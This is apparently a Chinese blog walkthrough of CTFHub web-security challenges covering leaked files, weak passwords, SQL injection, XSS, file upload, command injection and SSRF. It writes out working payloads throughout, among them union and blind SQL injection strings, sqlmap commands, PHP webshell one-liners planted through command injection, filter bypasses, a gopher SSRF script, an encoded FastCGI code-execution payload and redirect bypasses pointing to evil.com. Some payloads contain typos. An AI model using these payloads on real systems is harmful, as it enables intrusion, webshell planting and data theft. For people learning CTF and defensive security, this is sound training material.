CTFHub-web详解

目录

信息泄露

目录遍历

PHPINFO

备份文件下载

网站源码

bak文件

vim缓存

.Ds_store

 Git泄露

Log

Stash

Index

SVN泄露

HG泄露

密码口令

弱口令

 默认口令

SQL注入

整型注入

字符型注入

报错注入 

布尔盲注 

时间盲注 

 MySQL结构

 Cookie注入

 UA注入

Refer注入

过滤空格 

 XSS

反射型

文件上传

无验证

前端验证

.htaccess

MIME绕过

00截断

双写后缀

头文件检测

RCE 



信息泄露

目录遍历

 遍历每一个文件夹,找到flag.txt,复制内容提交

PHPINFO

 打开页面,从信息中寻找flag。

备份文件下载

网站源码

 尝试各种组合,最后发现在网站后添加www.zip后成功下载压缩文件

 将解压后的文件名放在url后,即可出现flag

bak文件

下载index.php.bak打开即可看到flag

vim缓存

当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

当你打开一个文件,vi编辑器就会生成这么一个.swp文件防止出现意外情况(类似微软word的缓存文件机制),如果正常退出那么这个swp文件将会自动删除。
当你强行关闭vi或者SSH连接时,比如电源断了或者使用了Ctrl+ZZ,vi自动生成一个.swp文件,下次你再编辑时,就会出现一些提示。

所以在url后面直接添加** .index.php.swp**下载即得flag 

.Ds_store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

同上文件形式,直接url后面添加访问** .DS_Store**可下载文件,打开后得到一个文件名,在url访问即可得到flag

 Git泄露

Log

首先使用dirsearch扫描网站,可以看到有git泄露

之后使用GitHack下载Git源码

 成功后,进入该目录,Git log可以让我们查看提交commit history,后面可以加参数;
使用git log  执行 git log 查看git的历史记录

 我门所在的是remove flag
但是我们需要回到add flag

git show

第一种执行 git show

第二种 执行回滚命令 git diff <commit>

第三种  git diff <commit>

Stash

先试用dirsearch扫描网站,发现有git泄露,之后使用GitHack下载Git源码

 成功后,进入该目录,Git log可以让我们查看提交commit history,后面可以加参数;
使用git log  执行 git log 查看git的历史记录

git stash    # git stash命令会将仓库中的修改保存,建立一条stash信息,默认的说明信息是最后一次提交的节点号和提交说明。
git stash save #‘说明信息’与1的效果一样,说明信息是指定的内容,更加利于了解stash的内容。
git stash list #列出当前仓库下所有的stash条目,每一条stash用stash@{n}标识。
git stash pop [stash] # 将stash的内容弹出,默认弹出最上面的那条,即stash@{0}。此外还可以在pop后加stash@{n}来指定要弹出的stash条目。
git stash drop [stash] #丢弃stash条目,默认丢弃最上面的那条,即stash@{0},此外还可以在drop后加stash@{n}来指定要丢弃的stash条目。
git stash clear #清除所有的stash条目。
git show stash@{n}    #当有多条记录并且过了一段时间忘记stash内容时通过该命令可以查看stash的具体内容

 发现一个.txt文件,使用cat 查看 即可获得flag

Index

与上面相同

SVN泄露

HG泄露

密码口令

弱口令

 对登录界面进行抓包

发送到inteuder

add 可以一个个添加我们想到的密码

进行爆破

破解结果为123456

登录后出现flag

 默认口令

  网上查找该产品的默认用户名和密码

(admin:+-ccccc、eyougw:admin@(eyou)、eyouuser:eyou_admin

eyougw  admin@(eyou)可登录

SQL注入

整型注入

输入1,回显位置有两个,可以猜测有两行 

1 order by 2   

1order by 3

可以确定为两行

数据库,用户名

表名

字段名

 字段值

字符型注入

输入?id=1

回显位置有两个且有单引号

输入id=1' order by 2 -- '

 表名

 字段名

 字段值

报错注入 

 

由此可知这是只有逻辑上的正确与错误回显,所以我们可以考虑用布尔盲注或者报错注入 

库名

1 and updatexml(1,concat(0x7e,database()),1)

表名

字段名

字段值

布尔盲注 

我们得知题目只会回显给我们逻辑的正确与否,所以我们只能采用布尔注入

1 and (substr(database(),1,1))=‘s’

 使用burpsuite爆破 可知数据库的名字为sqli

表名

1 and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=‘s’

得出表名为flag,news

字段名

得出字段名为flag

字段值

字段值

1 and (substr((select flag from flag),1,1))='s'

得出flag为:ctfhub{13a00462bef7c8ec8727a7e9}

时间盲注 

 根据页面的响应时间,从而来判断逻辑的正确与否

?id=1 and if(substr(database(),1,1)=‘s’,sleep(3),1)

使用sqlmap工具,得到库名为sqli

sqlmap -u url --current-db

接着我们爆破数据库中的表:sqlmap -u "http://challenge-459abc4659097df3.sandbox.ctfhub.com:10080/?id=1”-D sqli --tables

我们查看flag这个表里面的列:sqlmap -u "http://challenge-459abc4659097df3.sandbox.ctfhub.com:10080/?id=1"-D sqli -T flag --columns

得到flag这个列,查看这个列里面的字段:sqlmap -u "http://challenge-459abc4659097df3.sandbox.ctfhub.com:10080/?id=1"-D sqli -T flag -c flag --dump

 MySQL结构

爆破当前数据库:sqlmap -u http://challenge-ef15841e727cb228.sandbox.ctfhub.com:10800/?id=1 --current-db

得到数据库

 爆破当前数据库的表名:sqlmap -u "http://challenge-ef15841e727cb228.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

 这里和之前不一样了,没有类似的flag的表名,但是有一个zejnyorjgd这个没见过的,爆破这个表名的列试试:sqlmap -u http://challenge-ef15841e727cb228.sandbox.ctfhub.com:10800/?id=1 -D sqli -T zejnyorjgd--columns

接着我们爆破里面的字段 sqlmap -u http://challenge-ef15841e727cb228.sandbox.ctfhub.com:10800/?id=1 -D sqli -T zejnyorjgd -C qkjycadcdt --dump

 Cookie注入

查看该页面Cookie

该页面的Cookie为id=1

查看是否为Cookie注入

 burp进行抓包注入

判断列数

?id1order by 2

 ?id=1 order by 3

 

 可以看到列数为2的时候回显正常,因此判断列数为2

爆数据库

id=5 union select 1,database()

 爆数据表

id=13 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli';

可以看到得到两张表名:tozadxilid,news
让我们进入这个莫名其妙的表看看tozadxilid

爆列名

id=13 union select 1,group_concat(column_name) from information_schema.columns where table_name='tozadxilid'

得到一个列名kmpcnsijwa

爆字段

 id=13 union select 1,kmpcnsijwa from tozadxilid

 UA注入

UA其实就是User-Agent,里面有你电脑系统、浏览器的一些信息

直接抓包在UA处注入即可

成功查询到一个叫sqli的数据库,或者用下面的命令查询所有的数据库

id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

查询出两个表wtpygmroqd,news 

用wtpygmroqd查询字段内容

  ljnfuodbzc

查找到flag

Refer注入

Reffer是HTTP请求header的一部分,当浏览器向web 服务器发送请求的时候,头信息里就有包含,比如在www.Firefox.com 里有一个www.baidu.com链接,那么点击这个链接 ,它的header信息里就会看见有:referer=http://www.Firefox.com,说明是被引用过来的

我们抓住了这个刷新的页面,但是并没有找到referer,和referer的内容,原因是我们通过url直接访问图片等等资源的时候,并不会出现referer,所有我们可以通过Hackbar,创造一个post请求

再次重放

找到了referer和后面的URL,根据题目要求,我们尝试在referer后面进行SQL注入

暴库

爆表

得到两个表名:xrsdalxolq,news

爆字段

ycvtlzbyhg

查看flag

过滤空格 

用/**/代替空格

id=1/**/and/**/1=2/**/union/**/select/**/1,database()/**/

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information__schema.tables/**/where/**/table_schema='sqli'

 

 得到表名:news,trvwagicyo

 -1/**/union/**/select/**/1,grooup_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='trvwagicyo'

爆表

 得到表名oxlurazbny

查询对应列名的值 得到flag

-1/**/union/**/select/**/1,group_concat(oxlurazbny)/**/from/**/trvwagicyo

 

 XSS

反射型

在第一个输入框中尝试输入<scripy>alert(1)</script>

第二个输入框输入url是,出现successfully

 在xss测试平台创建一个项目

 选择,默认模块

然后会出现找个将代码复制

拼接到网站后缀name后面,点击send

这时平台会收到一个记录点开即可 

文件上传

无验证

上传一句话木马

连接蚁剑

找到flag

前端验证

查看源码 发现只能上传jpg和png

我们上传.jpg文件

进行抓包  在burpsuite中将后缀修改为php后放包,连接蚁剑

.htaccess

在这里的作用是让别的文件以php的方式运行,这个题中f12可以看到代码过滤了很多的文件后缀名,所以我们的思路是以jpg的格式上传,之后上传htaccess文件,就可以让jpg的文件以php的方式运行

不同于前端认证,这是服务器代码的过滤,无法抓包修改后缀名达到效果
1、上传jpg格式的一句话木马
2、上传.htaccess文件
3、蚁剑连接
.htaccess文件中SetHandler application/x-httpd-php

MIME绕过

MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。

其实就是在请求包中的content-type,这道题我们只需要在包中改变content-type的类型就可以了
2、具体过程
1、抓包 将content-type改为image/jpeg

00截断

查看网页源代码

 发现只可以上传jpg png gif文件

我们在上传php是利用burpsuite抓包 在php后边加%00.jpg

达到上传php的目的

连接蚁剑 成功  在连接蚁剑是 输入的URL还得用以前的  不能用这一关的

双写后缀

题目提示双写绕过,首先我们上传一个一句话:

发现后缀被过滤掉了,构造双写的后缀:

1.php 修改为1.pphphp

头文件检测

 在小马前添加文件头

bp抓包,Content-Type类型修改为image/gif

蚁剑连接  成功

RCE 

eval执行

分析源码,直接在URL中?cmd=system('ls /');

获得flag文件名

然后?cmd=system('cat flag');

 文件包含

根据页面的源码,知道可以GET方式传入一个file参数,传入的file将会被inlcude包含,因此被包含文件中的命令也会被当做PHP指令执行。

点击页面上的shell,可以看到shell.txt的内容:

可知,题目已经提供了一句话木马,所以我们的目标就是在index页面包含shell.txt,然后将ctfhub参数传入,以执行我们想要执行的命令,这里还需要注意,传入的命令中不能包含flag字符串,这里可以使用通配符来绕过。payload:

CTFHub 环境实例 | 提示信息http://challenge-ba3b6d8c6de29fd0.sandbox.ctfhub.com:10800/?file=shell.txt

 php://intput

查看网页显示的源码

我们需要使用php://input来构造发送的指令
查看phpinfo,找到一下字段 

证明是可以使用php://input

使用Burpsuite抓包并转至Repeater
构造包

方法:POST
目标:/?file=php://input
Body:<?php system("ls /"); ?>

使用cat访问flag_xxxx即可得到FLAG

读取源代码 

题目中直接给了flag的位置
想到使用filter(PHP 过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤。我也不是很清楚这个,但是用法还是蛮明了的)
直接在连接后添加对应内容即可的flag(就是filter的用法)

?file=php://filter/resource=/flag

远程包含

查看PHPinfo文件,发现可以使用php://input

 构造payload,使用php://input
POST里传参:<?php system('ls /')?>
发现存放flag的文件

打开文件,获得falg

 命令注入

查看页面信息

构造playload 127.0.0.1&ls 

 查看文件内容信息

127.0.0.1 & cat 179852221619745.php

没有反应

写入一句话木马

127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php】

使用蚁剑连接

成功拿到flag

 过滤cat

构造playload

127.0.0.1 || ls

由于cat被过滤  植入一句话木马

127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php

连接蚁剑

得到flag

过滤空格

空格被过滤 我们可以

用<代替空格

127.0.0.1||cat< flag

查看源码

获得flag

过滤目录分隔符

127.0.0.1&ls查看当前目录结构

flag需要跳转到子文件夹里
而目录分隔符斜杠被过滤了
因此我们使用cd进入子文件夹,而不是直接cat访问
输入127.0.0.1;cd flag_is_here;ls进入子文件夹并查询,使用分号间隔

127.0.0.1;cd flag_is_here;cat flag_xxx.php访问得到FLAG,位于注释里

过滤运算符 

过滤掉了||  &

使用;

127.0.0.1;cat flag_xxx

在源码中查看flag

综合过滤练习

这里我们可以利用url地址栏来构造payload。
%0a 是 换行符
%09 是 TAB键
于是构造payload:

127.0.0.1%0als

 127.0.0.1%0als%09*

tab键可以自动补齐后面的内容ls%09*可查看所有的文件

flag_101563074313826.php

127.0.0.1%0acd%09*here%0aca''t%09*.php

cat被过滤了,所以用ca’'t来代替

ssrf 

内网访问

打开题目之后可以看到网址上的url=_
于是我们构造如下url即可得到flag

ctfhub{53bb23a99d79199870e22904}

 伪协议读取文件

url中伪协议的类型
file:///
dict://
sftp://
ldap://
tftp://
gopher://

具体作用:伪协议

这里我们用file进行读取flag.php即可得到

?url=file:///var/www/html/flag.php

查看源码

 端口扫描

利用伪协议dict和bp对8000-9000端口进行爆破

POST请求 

POST请求

我们访问 127.0.0.1/flag.php 会得到一个输入框

查看源码会得到一个key值  输入输入框:

使用脚本

import urllib.parse


payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=7a63523334ee824db18990ffc181d204
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

上传文件 

写一个上传按钮

<input name="submit" type="submit">

当场抓到包
但是他是需要从本地发起的上传才可以
直接将包放到之前的py脚本中

 FASTCGI协议

我们使用gopherus工具

 需要注意的是进行编码时要去掉没有用的空格或者换行,否则将无法成功获得flag

?url=
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

提交,成功获得flag

Redis协议

我们将生成的payload再次编码

 访问,虽然页面显示504,但是我们的shell.php已经写入了。 

访问shell.php,虽然有一些脏数据,但页面已经存在了

使用蚁剑连接  在根目录可以看到flag 
 

URL Bypass


绕过的姿势:
1. 单斜线"/"绕过
https://www.landgrey.me/redirect.php?url=/www.evil.com
2. 缺少协议绕过
https://www.landgrey.me/redirect.php?url=//www.evil.com
3. 多斜线"/"前缀绕过
https://www.landgrey.me/redirect.php?url=///www.evil.com
https://www.landgrey.me/redirect.php?url=www.evil.com
4. 利用"@"符号绕过
https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com

比如姿势4中,http://www.landgrey.me和http://www.evil.com 这两个URL都会访问到。

题目描述是必须以http ://http://notfound.ctfhub.com 开头

挨个试下几个姿势从本地访问flag.php

最后拿到flag

url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass 

 ban掉了127以及172

输入:?url=127.0.0.1/flag.php

那就localhost代替127

302跳转 Bypass

 

用?url=localhost/flag.php

DNS 重绑定 Bypass

题目要求以DNS重绑定的方式绕过。
通过rbndr.us dns rebinding service网站设置DNS:

  • 4
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值